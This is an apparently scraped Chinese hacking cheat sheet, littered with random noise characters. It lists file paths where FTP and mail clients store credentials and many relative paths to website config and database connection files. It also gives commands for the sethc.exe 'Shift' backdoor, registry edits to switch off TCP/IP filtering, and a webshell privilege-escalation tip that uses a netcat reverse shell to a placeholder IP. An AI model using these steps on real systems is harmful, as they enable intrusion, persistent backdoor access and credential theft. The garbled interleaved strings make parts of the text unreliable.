c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
- R6 F+ g  I( r# t9 l8 cC:\Program Files\Foxmal\accounts.cfg
5 _) d/ e) u% K6 q0 P1 M) PC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
6 \5 K# l  k! x& k7 V6 }# t) uC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
* Z5 D9 Z* L+ s$ U  Wc:\Program Files\腾讯游戏\QQGAME\readme.txt
: w8 z9 R1 t& C4 ?6 p6 Rc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:
& ^9 {! v) A2 X" `  W( ?5 n  Q6 t
, N+ ~' P1 ^7 L1 E& t/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
/ a% e/ \. c2 ?./config.inc.php
../../config.inc.php
8 W( p( ?! I+ {' t2 _4 D../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
8 j" y% i7 G1 z$ L../conn.php
$ Y  D! d2 {3 Z../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
' e5 `, J& N5 a( b; d6 D: i./config.inc.php
5 s0 x/ p9 y% I+ I% b../../config.inc.php
7 `- o4 G$ E( }2 H../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
) B7 x6 d, @1 Y9 I( v9 a../config/config.php
../../../config/config.php
% o* m; K$ l* \; u7 S* d0 s" Y/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
& r. U; ~6 D' I& j../../../config/config.inc.php
) f- I! D3 f) Z+ C6 j/ m6 |/config/conn.php
./config/conn.php
/ P" j( V* e. e, _& Y# v# O../../config/conn.php
../config/conn.php
../../../config/conn.php
/config/conn.asp
./config/conn.asp
4 c5 G: U4 L9 D# ^../../config/conn.asp
% @6 `9 s: I4 I1 n: I0 z* F5 j../config/conn.asp
5 Q0 r2 h8 W! U0 P../../../config/conn.asp
5 t; q0 P: y; C2 {8 n: x* ^" \( B/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
' K% F, s: K, H- R5 t  z../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
" t3 B) A, h* H% C- |; d../../../data/config.php
/data/config.inc.php
( L* ^! {8 O% T9 B./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
: |, L1 X0 r" g  H  v./data/conn.php
& {0 }3 e& {9 N* _5 W/ Z% u% X$ ^6 \../../data/conn.php
% f& a7 P4 G5 I/ C1 H% f../data/conn.php
../../../data/conn.php
& V! ^3 Y- X& P# D" Y, U/data/conn.asp
: F( e) x0 |- Z  E; Z5 E) J8 Z./data/conn.asp
../../data/conn.asp
, N9 |& O1 t. q../data/conn.asp
, x- E: l& I4 `+ j) z% G../../../data/conn.asp
; k  G/ i$ D0 l6 ]  q/data/config.inc.php
3 |& |- K' k: j& R& t./data/config.inc.php
: D3 K& ]0 q) ^# Z6 H* ~2 q1 I+ _! ?../../data/config.inc.php
% j' c/ R- p6 g/ A0 R../data/config.inc.php
* n+ u) o5 ?; r) t3 y+ u$ x../../../data/config.inc.php
, i& z9 S2 W4 n9 ?7 z, ?/include/config.php
- R8 B$ |$ p. K1 I$ b../../include/config.php
4 q0 ]: D3 j+ q4 Q5 ?../include/config.php
. f6 Y4 @+ p# H! W- R6 b, M../../../include/config.php
/include/config.inc.php
% Z1 k4 A1 s5 M" q  n./include/config.inc.php
../../include/config.inc.php
% S8 t8 }! B/ Z( v, T1 u9 t: K# E../include/config.inc.php
../../../include/config.inc.php
" a; Y; W4 q) r/ N* a/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
$ m, [( i  q0 D8 T../../../include/conn.php
4 X# a% d; v; z. a2 @/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
9 h7 X8 r: H4 _. v" g' Q../../../include/conn.asp
7 k6 x/ J8 j$ r! a5 K2 o) d/include/config.inc.php
./include/config.inc.php
& g1 g( d3 o7 c5 I# K# l, s! e../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
5 x5 W6 P7 s5 n../inc/config.php
../../../inc/config.php
- n5 }* m# A" P% D, A+ c3 ]" y& E, W/inc/config.inc.php
; w- U) G3 \5 F: y! \' T" g./inc/config.inc.php
* o& m+ W- m* H* r6 q  H, D" l3 D+ W../../inc/config.inc.php
  f0 m" @  ]% V! ]( [' ?../inc/config.inc.php
. ?) r: y3 x& A, M/ ~../../../inc/config.inc.php
0 s. E/ R3 E8 W( ?/inc/conn.php
./inc/conn.php
../../inc/conn.php
: r# U: `, e: U3 l, r$ T../inc/conn.php
../../../inc/conn.php
; J3 `( ?8 E1 N8 p: N$ H" t' j$ w/inc/conn.asp
) |8 ~5 i0 M0 \9 r2 r( b( U' S./inc/conn.asp
../../inc/conn.asp
0 I/ c+ V4 R+ U' _' g* S+ v../inc/conn.asp
../../../inc/conn.asp
% U* ~5 l; G. Y, K4 _$ k7 i* v/inc/config.inc.php
7 E# W5 Q0 d3 u6 G+ y./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
" {0 K9 r$ k0 `9 r& o/index.php
./index.php
7 N( [) L5 x' a% a  N% }../../index.php
../index.php
+ E( A! Z8 g2 a0 @, A../../../index.php
" O) Y0 E. h$ m8 M2 [, H/ p/index.asp
$ w- U# [- Z1 R+ [./index.asp
../../index.asp
../index.asp
  F) q/ d) d; `8 C+ q2 o- N../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
- g# g. R. Y) _3 j/ V* _
8 t% q/ F! |$ S+ M. y# g# @$ s　　del c:\windows\system32\sethc.exe

5 Q' p. n4 |/ X) c6 N　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

: t& W& e8 A- o/ l1 K( K　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
4 J/ S+ n' C+ Z# c7 a- O' b1 _. {去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
* F) `8 s5 @' v- i* T! U% N6 JHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
" Q( Q& e0 ?8 C7 h0 X9 wregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
, a2 E6 n3 c$ o0 i- z) qregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

& j: E# w+ h& s5 O再将以上三个文件分别用
# ?' o: O: x' t+ b, i. h: ~regedit -s D:\a.reg
5 @, S/ L% [8 y5 t. rregedit -s D:\b.reg
regedit -s D:\c.reg
- E0 C* l' }3 c/ m# h8 L导入注册表即可

. e/ Z* ?# P& }. x4 F5 T$ x/ L9 t3 rwebshell提权小技巧
! B! v% C# u: o4 E& Ecmd路径:
6 q7 D' w# S7 P2 I& B, p5 Xc:\windows\temp\cmd.exe
nc也在同目录下
3 ]$ F2 G/ D' F例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
( b" Q, ~# ^5 g3 {) x) f' |通常都不会成功。
/ ^) M8 n* n/ q3 b; m
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
8 k7 h. \# U( R  R我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功